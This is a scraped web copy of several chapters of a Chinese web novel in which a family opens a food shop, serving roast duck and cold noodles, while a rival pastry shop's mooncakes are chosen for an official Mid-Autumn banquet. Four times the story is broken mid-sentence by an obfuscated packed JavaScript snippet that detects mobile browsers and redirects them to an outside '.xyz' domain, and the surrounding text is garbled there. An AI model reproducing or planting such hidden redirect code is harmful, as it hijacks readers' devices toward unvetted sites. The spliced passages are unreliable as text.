接着调制料汁，掰两瓣大蒜切成蒜末，起锅热油，加入芝麻粒、茱萸爆香，冒烟后起锅淋到蒜碗中，再加入一大勺陈醋，少许盐、糖，味精，搅拌均匀。 “晓晓，能吃了吗？”卢二郎心急的问道。 “能吃了，二哥你找我什么事来着？”卢晓晓拌了两小碗凉皮，和卢二郎一人一小碗，尝尝味道。 凉皮皮滑鲜嫩，酸辣爽口，味道刚刚好，只可惜没有辣椒油，卢晓晓边吃边点评道。 “没什么，晚食咱就吃这个吧？天热的时候吃这个肯定特别爽。”卢二郎吸溜着爽滑的凉皮，斯斯地吸着气回道。 秋日天凉，除了一大盘凉皮，卢晓晓又煮了小米粥，烙了面饼。 凉皮爽滑的口感、酸辣的口味，征服了大家的味蕾，大家都觉得这作为道小菜，放在店里配粥卖正好。 “若是有辣椒，制成辣椒油，就更香了。”卢晓晓回味道。 “辣椒可是你从码头抱回来的那盆植物？”卢二娘子问道。 “嗯嗯，前些日子我把收到的辣椒籽种到了地里，现在都发芽了，顺利的话，冬日之前就能收一批辣椒，我们能卖的吃食就更多了。” “咱地里的庄稼也要收了，我寻思着老大和老二都有事忙，过几日咱全家也要搬去镇上了，等秋收的时候就请你们二伯和堂哥帮忙，然后分他们些粮食。”卢大贵道。 “爹，还是让二伯他们选是要钱还是要粮吧，咱家开吃食铺子，粮食也是用得完的，说不定还得买呢！” “行，晓晓，咱家如今开吃食铺子，你看看有什么二伯家能做的，相互帮衬着些。” “晓得的，爹，我打算请春芬姐在铺子里负责做饼，伯娘和春芳姐在家养兔子，除了这，还有别的安排。” 卢晓晓一家有条不紊的安排铺子活计的时候，赵家夫妇却在处心积虑的想从铺子里捞好处。 “杏花，等你嫁到她们家，你就去柜上管收钱管账，一日藏个十几文钱，一个月就有半贯钱了。”杏花娘异想天开道。 “娘，你想什么呢，人能让我管钱吗？别说这铺子跟我一点关系都没有，我也不会写不会算的。” “怎么没关系？你可是他们家大儿媳妇，就该你婆婆管家，你管铺子。杏花，你听娘的，娘家好，你弟好，你在夫家才能过得好。” “娘你别管了，我自有主意。”赵杏花不愿与她娘多说，敷衍的应了下来。 “这肉好吃，以后我每天都要吃。”杏花弟弟赵大壮口里塞满了红烧肉，含糊不清地说道，赵大壮人如其名，长得又高又大。 “我的儿，你正是长身体的时候，多吃些，往后想吃就让你二姐给你拿。”杏花娘又把肉往儿子眼前推了推。 赵桃花沉默地吃着饭，夹着眼前的水煮白菘，眼儿都没抬。 到了夜间，两姐妹睡在一个被窝里，赵桃花抱着姐姐，闷声说，“姐，你别听娘的，弟弟好了，也不会对咱好的。” 赵桃花作为赵家连生的第三个女儿，差点没活下来。出生没几月，杏花娘就又有了身孕，是赵家大姐用米汤喂大的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14020138|146136||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有了弟弟之后，就更被轻视了，整日被赵家夫妇叫做讨债的，直到弟弟取名的时候，才取了名字叫赵桃花。若不是两个姐姐偷偷给她塞吃的，饭都吃不饱。 赵杏花轻轻地拍了拍妹妹，道，“姐都知道，你在家好好的，等我在卢家扎好根了，就想办法给你找个好婆家。” “姐，婆家我自己找。”赵桃花道。 “胡闹，你怎么找？姐是逼不得已的，这也是卢家人好，不然姐命都没了，就算是被救了下来，也未必会像卢家这样正正经经的提亲。”赵杏花如今想起那日河水漫进口鼻的窒息感，只觉得后怕。 接着又说道，“晓晓说，就是今日来的那个小姑娘，等我嫁过去后，让我在铺子里管点菜上菜，还给我发工钱。到时候姐攒起来，想法子接你出去，你别干傻事。” 赵桃花哭了起来，她自己也不清楚是哭姐姐即将离家，还是哭姐姐许的未来。 赵杏花也没再说话，只轻轻地拍着妹妹的后背，直到两人都睡着。 第二日，卢大贵赶着车把卢二郎和卢春芬送到摊位上，又与卢二娘子和卢晓晓一道去了宅子处。大爷今晨就要把家当运到府城了，卢晓晓给带去了几个肉夹馍。 临别的时候，大爷很是不舍，直可惜往后再也吃不到卢记的肉夹馍了，卢晓晓安慰说，他们很快就能把铺子开到府城了，到时候大爷可一定要常去光顾，大爷爽快地答应了。谁也没想到，这在几年后竟成了真。 送走了大爷，卢家三人把宅子细细地看了一番，宅子里剩了两张架子床和四张挂椅，虽是旧物，但都是好物件，市面上得值十五两银子，大爷不耐烦接客，十两银子卖给了卢家。 先前一家人商量好了，这两架子床一副卢大贵夫妇用，一副给准备成亲的卢大郎用，前几日又在木匠处打了一张八仙桌，两张罗汉床，两条长凳，和开铺子用的桌椅，只等卢家人把宅子打扫干净就送过来。 一上午，卢家三人是又洗又刷，到了午时，卢二郎和卢春芬也过来帮忙了，把正屋和厢房里里外外地收拾了一番，卢大贵是恨不得将屋顶上的瓦都擦一擦。 等忙完回到家，几人都累得不行，从准备的红烧肉中盛出一碗做菜，煮了锅米饭，炒了碗白菘。吃过晚食，就早早的歇下了。 到了第二日，一家人又早早的到了镇上，收拾东、西厢房、灶房、倒座房，卢晓晓请来了做炉子的师傅，要在灶房里加上个烤炉。这做炉子的师傅是知味斋的何师傅推荐的，老手艺人了，卢晓晓根据现代焖炉的特点让师傅加厚了炉壁。 又过了两日，烤炉砌好了，卢晓晓试了试，升温快、受热匀、排烟好，真是好极了。 到了十二那日，木匠铺把打好的罗汉床和桌椅送了过来，卢记摊子歇了天业，卢家人安床安香，布置好铺子，把卢二伯一家请到了镇上，这才说宅子是买的，卢二伯一家自是高兴，两家人热热闹闹地吃了顿入宅饭。 34. 果木烤鸭 卢家的入宅宴是吃的是宾主尽欢，其间的一道果木烤鸭更是让人赞不绝口。 为了烤好这只鸭子，卢晓晓走遍了菜市场，看遍了附近几个村养的鸭子，最后选出四只四斤重的大白鸭。 将鸭子宰杀放血后，在沸水中掺入等量的凉水调成温度适合的热水，将鸭子浸入到水中烫透，捞起后从胸脯顺着羽毛的方向褪毛，动作轻而快，然后将褪毛的鸭子放入凉水中清洗，紧缩皮肤，再用夹子将细毛除尽。又除去鸭脚和翅膀，在左翅下开一小口取出内脏，用清水清洗干净。 以竹条撑于两翅骨间，将鸭体撑起，然后找来卢二郎，让其对准鸭子的颈部的皮肉之间，使劲往里吹气，使鸭子全身鼓气，皮肉分离。卢二郎吹得腮帮子疼才寻到吹气的窍门，直嚷着要多吃些烤鸭。 然后制作皮水，以麦芽糖、醋、水调制成汁，在锅中煮至烫而不沸，略微冒气时起锅。用皮水从上而下地细致地浇烫鸭身，最后再将鸭子挂在屋檐下通风上一夜。 到了第二日，风干的鸭子皮肉紧实，烤制时需往鸭体内灌水，达到外烤里煮的效果，灌完水，再用皮水挂一遍色，保证烤鸭出炉时色泽红润均匀。 然后一只一只的上炉烤制，试火候，试时间。一只烤焦了，一只没烤透，到了第三只，才初有色泽红润、表皮酥脆的烤鸭样子，可火候仍是过了些，肉质有些发柴，等到第四只，卢晓晓终于摸清了烤鸭的火候。 烤鸭以果木烤制而成，出炉时再刷上一层香油，色泽亮丽、皮脆里嫩、鸭肉带有果木清香。 在清水中加入酱油、糖、面粉，小火熬制出烤鸭必备的甜面酱，再配上荷叶饼，黄瓜条，大葱段，烤鸭的配料齐活。 上桌时，卢晓晓又秀了一把刀工，一只鸭子片出一百零八块鸭肉，片片连皮带肉，是薄厚均匀。 据卢晓晓了解，宋朝便有烤鸭的做法，称为炙鸭、烧鸭，是汴京酒楼、市肆中的名肴，在皇宫、民间盛行，是后世豫菜的十大名菜之一。 城关镇地处江南，卢家人还第一次见烤鸭，先是各尝了一片鸭肉，皮酥肉嫩，又照着卢晓晓说的吃法，夹两片鸭肉蘸上酱，加上黄瓜条、葱段，一起裹入薄若白纸的荷花饼中，酥嫩的烤鸭、佐以饼香、葱香、酱香，加上清脆的黄瓜，宛如一场味蕾的盛宴，让人回味无穷。 “晓晓，你是怎么想出这做法的呀？”卢春芳忍不住问道。 “我最近常和镇上的大爷大婶们聊吃食，这里头有些大爷大婶去过不少地方，吃过不少好东西呢，这烤鸭便是这宅子的原主人与我说的，说他陪儿子进京赶考的时候，有幸吃过一回汴京炙鸭，鸭皮的酥脆和鸭肉的鲜嫩，叫他一辈子都忘不了。”卢晓晓解释道。 往后她还要做出更多的新菜，不能都是她空想出来的，只能说是聊天聊出来的了，而这搬迁府城的大爷就是最好的说辞。 “也是晓晓厉害，听人简单说几句滋味，便能做出来。”卢大娘子夸道。 接着又问道，“晓晓，这做法可费事？十六那日吃席能否做两只？” “伯娘，不算费事，今日就是试火候多折腾了几次，往后一炉可以烤几只，就是从镇上到村里，不如刚出炉的好吃了。只可惜镇上傍晚要关城门，不然就在这院子里摆上两桌，也是极好的。” “不妨事，能吃到这新鲜吃食已是了不得了，不能叫你们又出力又出地方的，回头这做菜的钱可不能与我少算了。”卢大娘子道。 “二嫂这样客气，晓晓还想寻你们帮忙呢，这样都不好开口了。”卢二娘子笑道。 “晓晓有什么事儿，只管说。”在跟卢大贵喝酒的卢二伯分神听到了几人的对话，开口问道。 “我有一个吃食方子，就是上回在里正家吃的粉丝，我打算在铺子里卖，只是做起来颇花工夫，想让二伯一家做，然后铺子按斤收，就不知您两同不同意？”往后铺子里要卖果木烤鸭，这鸭血粉丝汤就少不了，不然这鸭内脏可就浪费了。 “愿意，我们自然是愿意的，那干锅兔就卖得极好，我们攒了不少钱了。春芳最近养兔子可用心了，恨不得住笼子边上。”卢大娘子高兴道。 “爹从山里带回来的母兔子好似怀孕了，整日里不爱动，吃的又多，我这两日看她，肚子大了不少。”卢春芳解释道。 “太好了，这兔子要是顺利产崽又养活了，那咱往后的兔肉就不愁了。”卢晓晓原想着这养的兔子要等到明年春天才能繁育。 “嗯嗯，我最近可小心了，它胆小，我把她单独围了起来，又常陪着，还给多加了草和水。”她是照着照顾嫂子的方式来弄的，小心些总是没错的吧。 “还想让春芬姐在铺子里管面食档口，那做粉丝就得多劳烦二伯娘了，铺子刚开张，应是要得不多。” “家里一堆人呢，你堂哥、你二伯都能干活，人手就别愁了，保管给做好，咱明日就开始吧？”卢大娘子拍胸脯保证道，挣钱的事哪里会缺人手。 “明日我跟爹一道回村里，伯娘，有一事要提前说好，就是这做粉丝的法子可别泄了出去。” “那是自然的，你就放心吧。” “好好好，咱只要齐心协力，往后这日子只有越过越好的。”两家人齐心是卢爷爷最愿意见到的了。 两家人又说笑了好一会，快到酉时，卢二郎才赶着城门关之前把人送回了村，连带着还有一小碟烤鸭、肉菜若干。 卢怀德夫妻俩迎了上来，早上临出门时，秀珠不知怎么的有些不舒服，小夫妻两就留在了家里。 卢春芬把带回家的菜热了热，又与两人说了烤鸭该如何吃，这才回了屋。 卢怀才兴奋极了，满心欢喜地给卢怀德说三叔家的铺子多大多宽敞，这烤鸭刚出炉的时候多好吃。 到了夜晚，各屋响起了低低的说话声。 “前些日子，有人给老二和春芬说亲了，你怎么想？”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14037466|146136||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “如今三弟家的生意正开始，又有心提携咱家，不如再晚两年，怀才再多攒些聘礼，咱也能好好挑挑人品，春芬就更不急了，她才十四岁，就让她在家再松快松快吧。” “我也是这么想的，不过也得他们同意，明日再问一问他们吧。” 有商有量，这是卢大富夫妇。 “姐，真好呀，往后你在铺子里干活，我在家里养兔子，咱俩就都能挣钱了。” “就怕爹娘把我早早的嫁了出去，前些日子我见有人来家里说亲了，娘还问了我的意思呢。” “那咱跟娘说别那么早成亲，娘会听我们的，晓晓还说十八岁才成亲呢！” “你就不怕给留成老姑娘了？” “我才不怕，到时候咱俩就一块过，我就缠着你。” 说笑逗趣，这是卢家姐妹。 “这三叔家的日子可是越过越好了。” “咱家的日子也会越来越好的，听娘说，晓晓还教咱做粉丝，往后卖到铺子里。等你生了之后就去帮春芳一块养兔子。铺子好，咱家也会越好。” “我娘那边，你说我当时若是把酸菜鱼的法子告诉她，她是不是就不会闹出事了？反正晓晓会做这样多的菜式。” “你可不能这么想，晓晓会得再多，那也是晓晓的，这回她可是特意说了这方子不能泄出去的。” “我就想一想，之前不也没说吗？你就一心想着你三叔家，我如今跟娘家断了联系，你也不想着我难不难。” “家里说你了？给你脸色瞧了？” “那倒没有，可我心里不自在。” 埋怨嗔怪，这是卢怀德夫妻两。 镇上的卢大贵家又是不一样的光景。 卢家买的宅子就近明前街，明前街商铺酒肆林立，到了晚上仍是热闹不凡，兄妹几人上街逛了逛，街上灯火通明，一串串点着烛火的灯笼将夜色驱散，店铺里被照得有如白昼。 卢二郎觉得稀奇极了，好似到了新世界，卢三郎努力表现得沉稳，发亮的眼神和上扬的嘴角无不表现出他的兴奋。 明前街上除了琳琅满目的摊子，还有不少挑担挎篮卖吃食的小贩，有卖果子的，卖糖葫芦的，卖饮子的，一应俱全。街市的繁华热闹让人不思归家，兄妹几人从街头逛到巷尾，仍是意犹未尽。 卢大贵夫妇俩在院子里等几人回来，听着街上传来的喧闹声，卢二娘子似是回到了小时候，她也会因为留恋街上的繁华不愿回家，阿爹就会给她买糖葫芦。 “爹、娘，我们回来啦，二哥给买了糖葫芦，可好吃了，你们尝尝！”卢晓晓高兴地从外边回来，难得的露出了小孩心性。 “娘，我们回来啦，爹给买了糖葫芦，可好吃了，你快尝尝！”眼前画面似跟儿时的记忆重叠起来。 卢二娘子瞬间模糊了眼，爹、娘若是在天有灵，也会为她高兴吧，丈夫体贴，儿女能干孝顺，日子也越过越好。 35. 开张啦 第二日，卢大贵与卢晓晓一大早回了杜家村，卢晓晓去教卢二伯娘如何做粉丝，卢大贵到地里摘了黄瓜，拔了萝卜，割了白菘，扯了葱蒜，又把地窖里的干货吃食搬到车上。 忙到午时，才将将忙完，两人在卢二伯家简单的吃了午食，又急忙往镇上赶，明日铺子开张，要准备的事情可多了。 到了家，卢二娘子把开铺子用的小碗、小碟子洗了干净，把桌椅抹了遍，又把要用的东西归置好，卢二郎和卢春芬也收摊回来了。 今日是卢记摊子的最后一日，早在买下宅子时，卢二郎便告诉到摊子的每一个客人，他们要开铺子了，希望大家都来光顾。今日又细细地提醒了一番，还说开张的前三日有新品吃食赠送。 炖上肉，卢晓晓便开始教卢春芬和卢二娘子如何做馄饨皮，如何做荷花饼，然后又教两人如何又快又好地包馄饨，卷烤鸭。 别看这简单，可若想做得好，就得多练，两人从申时练到酉时太阳落山，包出来的馄饨，卷出来的炙鸭卷一个个大小均匀，形状相同，好似复制粘贴一般。 晚食自然是吃两人练习做的吃食，虽说样子做得不好看，但是味儿不错，卢晓晓又与大家细细说起明日的安排。 铺子里的早食卖肉夹馍、鸡蛋灌饼、鲜肉馄饨，再配上喷香的萝卜猪骨汤和粘稠的南瓜小米粥。 肉夹馍、鸡蛋灌饼价格不变，鲜肉馄饨十五个一碗，一碗十文钱，粥两文钱，汤一文钱。 铺子开门时由卢二娘子准备，等卢春芬到了镇上，便由卢春芬张罗。 午食在面食的基础上，加上蒸馍、米饭和肉菜，菜品有炙鸭卷、红烧肉、酸菜鱼、拌凉皮、炒白菘。 饭菜按份卖，好似现代的快餐。 肉菜一份十文钱，炙鸭卷三个一份，一只烤鸭能做十八份，红烧肉一份三块肉再加一小勺汤汁，酸菜鱼一份有肉有菜有汤，然后是拌凉皮五文钱，炒白菘一文钱，蒸馍三文钱一个，米饭五文钱一碗。 快餐就由卢晓晓在后头灶房做好后，再拿到前头铺子里卖，卢晓晓负责介绍盛菜，卢二娘子负责收钱，卢二郎负责揽客收桌，洗碗便交给了卢大贵。 过了午食，面食档口便关了，卢春芬把第二日用的馄饨皮做好，又把晚食用的荷叶饼的面揉好就可以回家了。 晚食则多了点菜，卢记食坊准备的点菜单子图文并茂，每个菜标注了价钱，还配上了卢晓晓画的图，从原料到成品，用的是现代的简笔画画法，简单但特征突出，叫人一眼就能看出来。 负责点菜的是卢二郎，带着他惯用的布缠小炭笔和一个线装小簿子，用一页撕一页，方便实用。 到了八月十四这日，卢晓晓买了一匹红布从铺子门口铺到巷子口，又在铺子牌匾上挂了大红花，每人腰上系上一条红色的围腰，喜庆亮眼。 铺子的西侧隔出了吃食档口，最外头是鸡蛋灌饼和肉夹馍，然后是馄饨档口，再是一溜的快餐档口，如今还空着。 辰时，卢二郎便在巷口吆喝了起来，“瞧一瞧，看一看咧，卢记食坊，新店开张咯，喷香的肉夹馍、酥香的鸡蛋灌饼、皮薄馅大的鲜肉馄饨，开业大酬宾，开业大赠送，走过路过不要错过咯！” 有那卢记肉夹馍摊子的老顾客，不用听吆喝便走进了铺子，也有那闻声而来的新顾客，被卢二郎吆喝的新鲜吃食吸引而来，更有那日常精打细算的行人听到开业大酬宾进来的。 不一会儿，铺子里的八张桌子和西、北两侧靠墙的台桌都坐了人。 “各位客官，点吃的到这边来了，看得见，闻得着，哪样好吃点哪样咧！”卢二娘子在档口吆喝道。 “你们这送什么吃食？”有客人问道。 “买肉夹馍或鸡蛋灌饼，汤、粥自选，买鲜肉馄饨一碗多送三个馄饨。”赵杏花俏生生地回答道。 这赵杏花想着今日铺子开张，需要人手，天没亮就到了城门外等着，辰时前就到了店里，卢晓晓又给简单培训了下，就让她在铺子里招呼客人。 宋家小哥也来了，“小娘子，你这鲜肉馄饨给我留一份，我一会就来吃。”说罢，买了个加蛋的鸡蛋灌饼急匆匆的走了。 没一会儿，宋家小哥回来了，点了碗鲜肉馄饨，吃了个馄饨，喝了口汤，只觉得舌头都要鲜掉了，好吃极了。真是，真是，小哥想了半天也没想到怎么说。 “好！这面皮柔软滑爽，肉馅鲜嫩多汁，汤汁鲜香味美，真是鲜极了！”江大爷大声赞道。 知道卢记肉夹馍的小娘子要开铺子，这江大爷招呼了三两爱吃的老友，相约今日来铺子里尝鲜。 见江大爷来了，卢晓晓赶紧过来打招呼，问几人吃得如何，可还满意？ 镇子上的老餮就是行走的活广告，可得招呼好了。 江大爷几人又是对鲜肉馄饨一顿夸。 对对对，是是是，宋家小哥一边听一边在心中附和道。典型的我说不出来，但是你说的都是我想表达的。 “小娘子，你这铺子可还有什么新鲜吃食？”江大爷又问道。 “几位大爷，中午还有炙鸭卷，酸菜鱼，拌凉皮，炙鸭肉外酥里嫩，配上特制的酱汁，拿薄如纸质的荷叶饼这么一裹，口味丰富，美味极了。这另外两样的滋味我就不说了，想知道，您们就亲自来尝吧！”卢晓晓笑道。 “酸菜鱼听名字能猜得出来是何物，这凉皮可就猜不出了。炙鸭可是汴京炙鸭？”其中一大爷问道。 “略有不同，不怕您说我自夸，我卖的炙鸭，外皮更酥脆，鸭肉更鲜嫩，味道更好呢！” “哈哈哈，这小娘子，看来午食我们也要在这吃了。”另一大爷笑道。 “走吧，咱哥几个出去溜达溜达，把肚子溜达空了再回来好好尝尝这小娘子说的新鲜吃食。” 等到了宋家学堂中午放学的时候，宋家小哥把江大爷夸鲜肉馄饨的话说了一遍，又把卢晓晓介绍午食的话学了一遍，馋得宋家少爷宋连玉直流口水。 当即拉着几个同窗直奔卢记食坊，这其中就有那院试的案首段默苏。 一般中了秀才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14044801|146136||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后都会到府城的书院，只是书院要等到乡试发榜后才招新生。正好宋家学堂的两位夫子都是举人，能学到不少的东西，段默苏就依旧在学堂里读书。 到了卢记食坊，竟遇到了另一波读书人。 卢三郎在明微学堂读书，自家铺子开门，自是要把同窗招呼来光顾的，更别说明微学堂里还有张彦文这几个卢记肉夹馍的常客。 两方人马在小小的卢家食坊相遇，旁人瞪大了眼睛看着，要是能见到镇上的两大学堂互辩，那也是一件值得称道的事了。 只见宋家学堂中一个星目剑眉的学生朝明微学堂的桌子走了过去。 “默苏兄。”宋连玉低呼了一声，那人也没停下脚步。 过来了，过来了，这是段默苏吧，他是过来骂方卓言的吧，怎么办，怎么办，这是家事，我们要不要帮忙？这是明微学堂学生的心思。 哇，打起来，打起来，比读书人吵起来更好看的，当然是读书人打起来。这是旁人的心思。 啊啊啊，可千万别在我店里打起来呀，这小哥哥长得挺帅，怎么这么莽。这是卢晓晓的心思。 几步之间，边上的人已经转过了不同的心思。 “表哥，你也来吃饭了。”段默苏开口道。 “嗯。”方卓言言简意赅的回答。他真的不想理段默苏，凭什么他能考上案首呀，他看的经史子集是自己偷偷借的，读书方法是自己偷偷教的，就连读书遇到的问题都是自己请教夫子后转告他的，他去学堂后，他们也没少交流，到底为什么呀！ 段默苏见表哥不愿多说，莫名地觉得有些委屈，落寞的回到同窗中。 原来是虚惊一场，很快大家又沉浸在卢家食坊的美味之中。 “小娘子，这炙鸭卷有没有整只卖的？”宋连玉每样都点了一份尝味道，他最喜欢炙鸭卷。 “有的，有的，一只需一百五十文钱，可要来上一只？”卢晓晓高兴道，不亏是大主顾，一来就要大的。有了赵杏花帮手，午食也能点菜了。 “来一只。”宋连玉大手一挥。 “您稍等，这片鸭手艺可是店里的一绝，一只鸭能片成一百零八块肉，块块都是连皮带肉，可要观看一番？”卢晓晓又问道。 “那要看一看。”宋连玉兴致勃勃道。 不一会儿，卢晓晓连桌端出一只色泽红润，油亮诱人的烤鸭，只见她手起刀落，一片片薄厚均匀的鸭肉连皮带肉的切了下来，再层层叠叠，错落有致的码在盘子里，最后竟拼成了一朵花。 “好！”宋连玉赞道。 “客官，这炙鸭卷自己动手更有趣味呢，可要自己卷？”卢晓晓又道。 “那我们就自己来吧？”宋连玉看向几位同窗。 几位同窗纷纷动起手来。 “这鸭架可做椒盐鸭架或是做鸭汤，我建议您做椒盐鸭架，滋味不比干锅兔肉差呢！”卢晓晓直接建议道。 “那就听小娘子的。”宋连玉从善如流，他想看看这小小的卢家食坊还能给他什么样的惊喜。 36. 赛螃蟹 明微学堂这一桌，除了方卓言，还有杜子柏，以及去过杜子柏婚宴的两人，一个是张彦文，还有一个是那日使马车的同窗，叫宋博文，与宋连玉是远亲。 方卓言是卢三郎拉来的，与另三人并不相熟。这卢三郎自打去了学堂，就发现这方卓言学习努力，学识突出，一心想要结交。 要与优秀的人做朋友，这是姐姐说的，卢三郎一直很好的执行。 住到镇上后，卢三郎每日放学都多留了一会，见方卓言每日学到学堂关门才离开，便鼓起勇气去请教问题，就发现了这人面冷心热，这才把人拉了过来。 “我姐说今日开张，送咱一只烤鸭，一会就送过来。”卢三郎小声的跟同窗说道。 “啊，怪不得你刚才不让我们拿炙鸭卷，有这好事也不早说，我把馄饨都吃完了。”别人还没吃两口，这宋博文已是哐哐哐地吃完了一碗馄饨。 “我让你慢些吃了。”卢三郎道。 “我以为你又要拿□□脍细那套说我呢！” “我们都猜到了，就你满心都是吃的，那正好我们多吃一些。”张彦文笑道。 没一会儿，卢晓晓端上了一盘外焦里嫩，香酥麻辣的椒盐鸭架，为了让客人好入口，鸭架块被剁成了顺条的小块。 椒盐特有的椒香味令人垂涎，宋连玉示意同窗赶紧尝尝，吃一口，只觉得香、辣、爽，比干锅兔还要过瘾，要是有酒就很美了。 不一会儿，宋连玉这桌响起了此起彼伏的“嘶哈嘶哈”声，大庭广众下发出这样的声音略有不雅，可大家都停不下来，这椒盐鸭架太让人上头了。 明微学堂更馋了，好在卢晓晓没让几人久等，没多久就端来一只烤鸭。几人近距离看片鸭，再一次被卢晓晓出神入化的手艺震撼到。 “晓晓，你可太厉害了！”杜子柏赞道。因婚宴办得好，他妻子和妻子的娘家都觉得有面子，两人的感情如今是好得很。 “姐。”卢三郎眼睛亮晶晶的看着卢晓晓，他读书也要像姐姐做菜一样厉害。 坐在不远处的段默苏，耳朵动了动。 这两桌的动静引得旁人频频张望，人少的、没钱的只能偷偷咽口水，人多的、不差钱的当即也点了一只烤鸭，其中就有江大爷一桌。 卢晓晓给明微学堂一桌推荐了一样的椒盐鸭架，给江大爷推荐了奶白醇香，鲜香味浓的鸭架汤。 这炙鸭一卖，那是带起了卢记食坊的流量，这店里的人，吃了的回去跟人夸滋味好，没吃的回去跟人夸手艺好，卢记食堂的炙鸭在小范围里出了名。 到了晚上来的人就更多了，也不需要卢二郎在巷口继续吆喝，铺子里的客人就坐得满满当当的，吃上一碟炙鸭卷，围观一次片鸭的手艺，也能回去说自己吃了卢记食坊的招牌菜果木炙鸭了。 卢家的每个人都忙的不可开交，卢春芬和赵杏花回去后就更忙了，卢晓晓是连轴转，放学回来的卢三郎也成了店小二，但每个人都洋溢着喜悦的笑容。 等到客人渐渐离去，已是戌时，卢二娘子几人洗碗擦桌，收拾铺子。 卢晓晓将做炙鸭卷剩下的鸭架，斩成大块，放入锅中大火煸出油脂后，加入葱姜煸炒去腥，再倒入开水，熬上一刻钟，最后放入洗净的白菘。 又从烤炉中取出烤鸭，片成鸭肉片，再把鸭架斩成块，油锅一炸，椒盐一撒，喷香的椒盐鸭架就做好了。 等卢二娘子几人收拾妥当，晚食也做好了，有肉、有菜、有汤、还有下饭下酒的鸭架子。 几人总算能松快地坐下来吃饭了。 青阳县里的元家，氛围可没有这么松快了，对元家来说，这是一个不平凡的中秋。 事情回到中秋前三日，元家大爷在堂屋来回渡步，时不时的向院门口张望，嘴里呐呐道，“这时辰也差不多了吧，怎么大郎还不回来？” “你快坐下歇歇吧，我都快被你晃晕了。”元大娘子喝了口茶，压了压紧张的情绪。 “我歇不下来，这可是关系到咱知味斋在青阳县的点心铺子里能不能排上名号，若是被中秋宴选中，咱知味斋可就出名了。” “爹，别着急，知瑶她爹吃过咱家莲蓉月饼，说好吃呢！”元明月道。知瑶便是韩县丞家的女儿。 “来了来了，老爷，我瞧见少爷他们回来了。”在院门外守着的小厮跑过来说道。 不出片刻，元大郎的身影出现在门口，脸上充满了喜色。知道家中等得心焦，三步并两步地到了堂屋。 “爹，成了成了！咱家的莲蓉月饼不仅被选进了晚宴的点心，还被选进了明日诗会中！”元三郎兴奋道。 县里办的中秋宴分两场，白日是诗会，是县里招呼读书人办的，晚上是晚宴，来的是县里的商户。晚宴的选材是县丞管的，诗会则是县令定的，元大爷原先只对进入晚宴抱有希望，不成想竟是都进了。 “好！好！好！好样的。”元大爷拍了拍儿子的肩膀，连说三个好。 接着又对管事吩咐道，“赶紧通知下去，让总铺和各分铺赶紧加做莲蓉月饼，把中秋宴的消息宣传出去，再想办法联系各大酒楼，县里镇上大户的采买。” 事情本来安排得妥帖，到了十四这日却出了变化。 原是去福建路巡视兵力的钦差回京述差，取道江南东路，恰逢中秋这日会行经江宁府，便快马通知江宁府尹会在此处停留一日。 这一下子让江宁府的府尹犯了愁，这钦差大臣可是皇上的耳目，要让其感到高兴又不显铺张，这是难事，要想让他回京的时候夸上一嘴就更难了。 若是有令人称道的新鲜吃食是最好的，可这一时半会儿的上哪找？钦差没两日就到了，可寻上来的不是鲍参鱼翅，就是冬虫夏草，都是些寻常名贵之物，府尹愁得食不下咽。 府尹夫人便出主意道，“官人在这府城找，那寻来的定是名贵之物，不如看看这各县送上来的节礼，看有没有些新奇特色之物。” 青阳县礼单上写的蛋黄莲蓉月饼便入了府尹的眼，赶忙让管事的寻来。观之，图案精美，外形完整，适合长途携带，尝之，绵密清香， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14074784|146136||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 甜咸交织，口味独特，又是中秋应景之物，正是适合此次招待。 府尹使人快马加鞭地把消息送到青阳县，青阳县令也等不及把元大郎叫来，带着县丞、主簿直接到了元府。 一干人的到来吓了元家人好大一跳，然后又听说是府城看上了蛋黄莲蓉月饼，巨大的惊喜砸向元家人。 府尹的要求很简单，一是要在明日晚食之前送二十盒到府城，二是这月饼的包装要体现江宁府。 月饼不难做，铺里的存货也够二十盒的，只是这包装要重新制作，江宁府要体现，青阳县要体现，知味斋也要体现。 